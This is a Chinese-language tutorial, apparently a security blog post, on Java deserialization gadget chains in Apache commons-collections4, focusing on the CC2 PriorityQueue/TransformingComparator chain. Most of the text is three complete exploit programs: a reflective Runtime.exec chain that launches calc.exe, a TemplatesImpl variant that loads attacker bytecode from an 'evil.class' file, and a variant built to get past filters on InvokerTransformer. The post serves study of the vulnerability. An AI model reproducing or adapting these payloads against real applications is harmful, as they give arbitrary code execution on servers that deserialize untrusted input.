浅谈commons-collections4链
commons-collections4的背景:
由于commons-collections
(3.x) 在架构设计和 API 上暴露出一些问题(例如接口设计不够清晰、某些实现不够高效或灵活)。然而,修复这些问题需要进行大量不兼容的改动。官方认识到,进行必要的架构改进会导致新版本 无法与老版本 (3.x) 保持二进制或源代码兼容。强行作为 3.x 的直接升级版 (commons-collections 4.0
) 发布,会破坏无数依赖老版本 API 的现有项目。因此将包含重大改进但不兼容的版本作为一个全新的项目分支发布,而不是作为老项目的延续;
也就是说commons-collections4版本不是commons-collections3版本的升级,而是作为新的项目发布
因此
在这个区别上存在两个分支版本commons-collections
commons-collections:commons-collections
org.apache.commons:commons-collections4
那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?
事实上,commons-collections4和commons-collections3 内涵其实是差不多的,只是用法上存在差异与存在一些不一样的类;
比如说同样是cc6;在commons-collections4
我们在引入commons-collections4的包后发现
LazyMap.decorate报错;在之前的decorate中他的作用是返回一个LazyMap对象
我们查看LazyMap源码发现
他从之前的decorate返回对象变成了LazyMap返回对象了;
但他的其他调用链却没有什么太大的变化
我们尝试把decorate改成LazyMap,发现仍然可以正常弹出计算器;
在cc1,cc3都可以兼容在commons collections4使用
那这有什么意义呢
反序列化的核心在于transform函数的invoke反射调用;导致的任意代码执行;commons-collections3和commons-collections4不都是一样的吗?
我认为应该这样想多一个版本不就多几条链了吗,可以看到在代码有些部分虽然有些细微差别,但源码大多一致,有时候可以达到兼容的效果;组合起来不就又多几条链了吗;
下面我来介绍一下ysoserial中的cc2和cc4中的PriorityQueue利⽤链
PriorityQueue(优先队列)是 Java 集合框架中的一种特殊队列实现,基于优先级堆(通常是最小堆)实现。其核心特点是:
- 元素按优先级排序出队(默认自然顺序)
- 不是先进先出(FIFO),而是按优先级高低出队
- 底层使用数组存储二叉堆结构
既然同为cc链系列,他们的思路其实都是一致的,都是通过transform函数实现的任意代码执行;攻击路径都是从一个readobject触发点出发到transform函数的方法调用链;过程仍然形象化为 如下图的"拼接过程"
readobject
->...
->..
->transform
下面我们来具体分析PriorityQueue链
老规矩,还是先找transform函数
在TransformingComparator的compare方法中我们看到它调用了transform函数
public int compare(I obj1, I obj2) {
O value1 = (O)this.transformer.transform(obj1);
O value2 = (O)this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
再回到PriorityQueue的readobject方法,发现调用了heapify,持续跟进下去就会发现调用了comparator.compare方法,我们只需要让
comparator=TransformingComparator即可
readobject 调用 heapify
heapify调用 siftDown
siftDown调用siftDownUsingComparator
siftDownUsingComparator调用comparator.compare方法
所以调用链
PriorityQueue->readobject
->heapify
->siftDown
->siftDownUsingComparator
->comparator.compare
->TransformingComparator->compare
->transformer
可以看到链子中使用了siftDown()函数,作用是顶部元素向下比较交换,直到满足堆条件;⽽ comparator.compare() ⽤来⽐较两个元素⼤⼩
TransformingComparator对象(实现了 java.util.Comparator 接⼝,这个接⼝⽤于定义两个对象如何进⾏⽐较;siftDownUsingComparator() 中就使⽤这个接⼝的 compare() ⽅法⽐较树的节点。)倘若比较comparator可控;我们就可以实现传入TransformingComparator对象进行"恶意比较"
在其构造函数中我们发现传进去的comparator=this.comparator,所以只需要
new PriorityQueue<Object>(2,new TransformingComparator(transformer)); //即可
所以构造payload
Comparator cmp = new TransformingComparator(transformerchains);//载荷
PriorityQueue queue=new PriorityQueue(2,cmp);//触发器
payload如下
package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};
Transformer transformerchains = new ChainedTransformer(fakeTransformers);
Comparator cmp = new TransformingComparator(transformerchains);
PriorityQueue queue=new PriorityQueue(2,cmp);
queue.add(1); //这个地方是由于需要触发排序与比较,至少要两个元素才能进行排序与比较
queue.add(2);
setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp);
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}
结合上一篇文章我们尝试构造无数组形式的payload与绕过InvokerTransformer
无数组payload
package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer;
import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
/* Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};*/
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue(2,cmp);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
//setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp);
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}
增加绕过 InvokerTransformer payload
package org.com.cc;
//import org.apache.commons.collections.Transformer;
//import org.apache.commons.collections.functors.ChainedTransformer;
//import org.apache.commons.collections.functors.ConstantTransformer;
//import org.apache.commons.collections.functors.InvokerTransformer;
//import org.apache.commons.collections.keyvalue.TiedMapEntry;
//import org.apache.commons.collections.map.LazyMap;
//import org.apache.commons.collections.map.TransformedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.lang.SerializationUtils;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.map.TransformedMap;
import org.apache.commons.collections4.Transformer;
import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.annotation.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.Map;
import java.util.HashMap;
public class CommonCollections2 {
public static void main(String[] args) throws Exception {
/* Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
};*/
byte[] code= Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
// 初始化一个无害的 InstantiateTransformer,使用String.class和空字符串
Transformer transformer = new InstantiateTransformer(
new Class[]{String.class}, // 参数类型数组
new Object[]{""} // 参数值数组
);
Comparator cmp = new TransformingComparator(transformer);
PriorityQueue queue=new PriorityQueue(2,cmp);
// 通过反射修改队列内部数组,直接放入两个TrAXFilter.class
Object[] queueArray = new Object[]{TrAXFilter.class, TrAXFilter.class};
setFieldValue(queue, "queue", queueArray);
setFieldValue(queue, "size", 2);
// setFieldValue(queue, "key", TrAXFilter.class);
setFieldValue(transformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(transformer, "iArgs", new Object[]{obj});
//setFieldValue(transformerchains, "iTransformers", Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) queue);
// aesCipherService aes=new aesCipherService();
;
//反序列化
SerializationUtils.deserialize(exp);
}
private static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
// 循环查找字段(包括父类)
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(fieldName);
}
field.setAccessible(true);
field.set(obj, value);
}
}
总结:本篇文章介绍了commons-collections4的背景以及与commons-collections3的差异与兼容性,通过cc6的commons-collections4版本的兼容性解释了cc链的核心逻辑与cc2链子的分析与构造,篇末介绍了cc2的无数组加载字节码利用方式以及拓展性的 InvokerTransformer 绕过;
------------------------------------备注------------------------------
参考 p牛->知识星球->代码审计->java系列文章